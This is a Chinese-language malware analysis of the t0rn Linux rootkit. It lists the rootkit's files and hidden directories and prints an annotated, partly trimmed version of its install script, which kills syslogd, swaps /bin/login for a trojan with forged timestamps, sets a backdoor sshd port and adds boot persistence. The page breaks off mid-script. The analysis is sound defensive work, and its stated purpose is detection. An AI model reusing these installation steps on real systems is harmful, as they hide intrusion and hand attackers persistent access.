Rootkit分析:t0rnt0rn是一个lrn风格的Linux特洛伊木马,作者j0hnny7 / zho-d0h。2001年4月左右引起世界关注的狮子蠕虫的第一版就使用了这个rootkit。本文将对这个rootkit进行分析,以及如何对其进行检测。 t0rn采用二进制方式进行散发,因此攻击者可以非常容易地将其安装到Linux系统中,只要执行./t0rn就可以了。在其二进制发布包中除了一组系统应用程序的特洛伊版本外,还包括一个日志清理程序t0rnsb,一个嗅探器程序t0rns和一个日志语法分析程序t0rnp。 1.细节 1.1t0rn的组成 我们首先看一看t0rn的包含的文件,各个文件的属性以及它们的作用: drwxr-xr-x 4096 .t0rn 安装完成之后,还会产生一个保存密码密文的文件/etc/ttyhash。 1.2安装目录 t0rn rootkit安装完成之后,会在系统中建立以下目录: /usr/src/.puta/<--保存t0rns、t0rnsb和t0rnp等可执行程序以及.1addr、.1file、.1logz、.1proc等文件。/usr/info/.t0rn/<--保存sshd相关的文件。 1.3t0rn的执行流程 在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。 #!/bin/shkillall -9 syslogd #杀死syslogd,以免在日志中留下记录。 bla2=`pwd` #记录起始目录,以便安装完成后,从这个目录删除。 if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then echo "t0rnkit probably installed on machine [Alert]" else echo "" fi #检查是否系统中已经安装了t0rn rootkit SYSLOGCONF="/etc/syslog.conf" REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2` #检测系统日志是否被记录到其它主机。 if test -n "$1" ; then echo "Using Password :" cd $bla2 ./pg $1 > /etc/ttyhash else echo "No Password Specified, using default - t0rnkit" ./pg t0rnkit >/etc/ttyhash fi #检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。 if test -n "$2" ; then tar xfz ssh.tgz echo "Port $2" >> .t0rn/shdcf echo "3 $2" >> dev/.1addr cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 else tar xfz ssh.tgz echo "Port 47017" >> .t0rn/shdcf echo "3 $2" >> dev/.1addr cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 fi #解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。 touch -acmr /bin/login login #修改木马login的时间戳,使其和系统原来的login相同 ./sz /bin/login login mv -f /bin/login /sbin/xlogin mv -f login /bin/login chmod 4555 /bin/login #用木马login程序替换原来的login,并把真正的login保存为/sbin/xlogin。 mkdir -p /usr/src/.puta/ mkdir -p /usr/info/.t0rn/ cp dev/.1addr /usr/src/.puta/ cp dev/.1file /usr/src/.puta/ cp dev/.1logz /usr/src/.puta/ cp dev/.1proc /usr/src/.puta/ mv .t0rn/sh* /usr/info/.t0rn/ mv /usr/info/.t0rn/sharsed /usr/sbin/nscd /usr/sbin/nscd -q echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit #在系统中加入一个nscd程序,并使其每次系统启动时,自动运行。nscd主要用于为DNS或者NIS提供高速缓存服务,以加快访问速度。这一步做的不是很小心:) touch -acmr /sbin/ifconfig ifconfig 上一篇:防火墙分析报告 下一篇:简易防火墙建置与流量统计 更多相关文章
|
推荐文章
精彩文章
|